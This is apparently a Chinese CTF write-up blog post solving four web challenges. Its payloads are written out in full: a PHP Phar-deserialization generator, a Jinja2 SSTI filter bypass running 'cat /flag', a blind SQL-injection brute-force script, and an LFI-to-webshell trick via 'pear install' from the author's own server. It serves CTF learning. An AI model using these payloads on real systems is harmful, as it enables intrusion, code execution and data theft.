Author:颖奇L’Amore

Blog:www.gem-love.com

因为一直在TCTF Final摸鱼,这个比赛就随便看了看,最后一个web在赛后6分钟做出的,于是无缘线下了,这个线上赛就权当娱乐了


babyphp2

www.zip得到源码。不用注入,因为读文件和上传文件都不需要登录,那个只是个障眼法。

有类,有上传,有文件读取,很明显的Phar反序列化

<?php

class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public $backup;
    public function __construct()
    {
        $this->nickname = new Reader();
        $this->backup = "/flag";
    }
}
class dbCtrl
{
    public $token;
    public function __construct()
    {
        $this->token = new User;
    }
}

Class Reader{
    public $filename;
    public $result;
}

$y1ng = new dbCtrl();

$phar = new Phar("web1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($y1ng);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

@rename("web1.phar", "y1ng.gif");

上传得到路径,因为读文件时对schema有过滤,利用压缩过滤器触发phar即可:

compress.zlib://phar:///var/www/html/upload/16e45eeda7cc58d39621ec8886c53293.gif


babyflask

一血,被队友1分钟solve,老生常谈的bypass套路

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat /flag')|attr('read')()}}

babyback

有必要吐槽一下ichunqiu这个平台,docker是队友开的,这题我拿的一血,但是只能开docker的人交flag就很傻逼,正好开docker的人出门了,导致一直交不上flag,耽误了好几分钟,最后变成了二血

题很简单,考点我都出过,并且是开源的

  • 无引号SQL注入参考:https://www.gem-love.com/ctf/2283.html#LoginOnlyFor36D
  • 无括号分号RCE参考:https://www.gem-love.com/ctf/2283.html#%E7%BB%99%E4%BD%A0shell
  • 题目开源:https://github.com/y1nglamore/Y1ngCTF
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req 

url = "http://[docker].cloudeci1.ichunqiu.com/index.php"

data = {
	"username" : '''admin\\''',
	"password" : ""
}
res = ""
for position in range(1,30):
	for i in range(32,127):
		payload = f"or/**/ascii(substr(password,{position},1))>{i}#"
		data["password"] = payload
		r = req.post(url=url, data=data)
		if r"<div class='logo'>密码错误" not in r.text:
			res += chr(i)
			print(res)
			break
		else:
			continue
# uAreRigHt

然后包含一个/flag的取反拿flag

command=require%40%7e%d0%99%93%9e%98?>

MeowWorld

这题有点可惜,比赛结束前20分钟才来看,导致在赛后6分钟时拿到flag,如果早来点儿肯定进线下了

有一个参考文章:https://khack40.info/camp-ctf-2015-trolol-web-write-up/

f参数文件包含,只是后面有.php的后缀拼接

<?php
$f = $_GET['f'] ?? "home";
include("{$f}.php");
?>

利用pear install装马,必须是php后缀:

之后包含即可RCE。readflag还要写个小脚本

这东西之前比赛也都出过

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2634.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示


颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

2 条评论

anti-gemite · 2020年9月27日 20:23

最后的pear install上传的马需要从自家的网站传过去吗?还是怎么上传上去呢?

    颖奇L'Amore · 2020年9月30日 22:37

    pear install或者pear download后面加上自己的不能解析php的vps链接

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image